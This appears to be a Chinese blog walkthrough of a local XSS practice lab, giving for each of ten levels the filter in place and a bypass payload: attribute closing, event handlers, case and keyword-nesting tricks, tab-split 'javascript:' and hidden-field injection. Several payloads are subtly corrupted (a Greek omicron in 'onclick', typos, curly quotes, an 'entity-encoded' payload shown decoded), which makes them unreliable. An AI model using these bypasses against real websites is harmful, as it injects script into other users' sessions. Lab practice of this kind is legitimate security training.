level1
没有任何过滤,直接URL后面加XSS测试语句
<script>alert('123')</script>;
弹窗
<script>alert('123')</script>;

level2
有搜索框,像第一关一样在搜索框测试一下,但是没有像第一关一样弹窗

查看源码发现我们的XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签就可以正常弹窗了
1"><script>alert('1');</script>

level3
转义了尖括号,这里可以用单引号闭合value但是没办法闭合input标签,但是可以注释掉标签然后用事件弹窗
1’ οnclick=alert(1)//
level4
跟第三关差不多,过滤了尖括号,用双引号闭合value然后注释掉标签用事件弹窗
1" οnclick=alert(1)//
level5
过滤了script和onclick标签,但是没过滤a标签
“><a href=” javascript:alert(1)"
level6
过滤了script,onclick,href,但是由于是用str_replace函数来过滤的,所以可以用大小写绕过
“><a HREF=” javascript:alert(1)"
level7
尝试了一下前面的payload,发现on,script,href关键字被屏蔽,但由于是直接替换为空,所以可以用单词嵌套来绕过
1" oonnclick=alert(1)//
level8
添加友情链接所以直接就有一个href标签,首先尝试了javascript:laert(1),
但是发现script被过滤了,然后尝试大小写绕过不行
最后用html实体编码绕过
javascript:alert(1)
level9
script被过滤,添加的url有验证合法性,没有带http://内则不合法,可以放在注释后面,通过tab制表符(%09)绕过对script的过滤
http://localhost/xss_test/level9.php?keyword=javascr%09ipt:alert(1)//http://
level10
有隐藏的form,尝试看能否注入
http://localhost/xss_test/level10.php?keyword=well done!&t_ilnk=" tyoe=“text” 1&t_history=" type=“text” 2&t_sort=" type=“text” 3
发现t_sort是可以注入的,于是用t_sort来弹窗
http://localhost/xss_test/level10.php?keyword=well done!&t_sort=" type=“text” οnclick="alert(1)
本文详细介绍了从level1到level10的XSS挑战,包括各种过滤和防御机制的绕过方法,如利用事件属性、HTML实体编码、大小写绕过等,逐步提升XSS攻击技能。
1499

被折叠的 条评论
为什么被折叠?



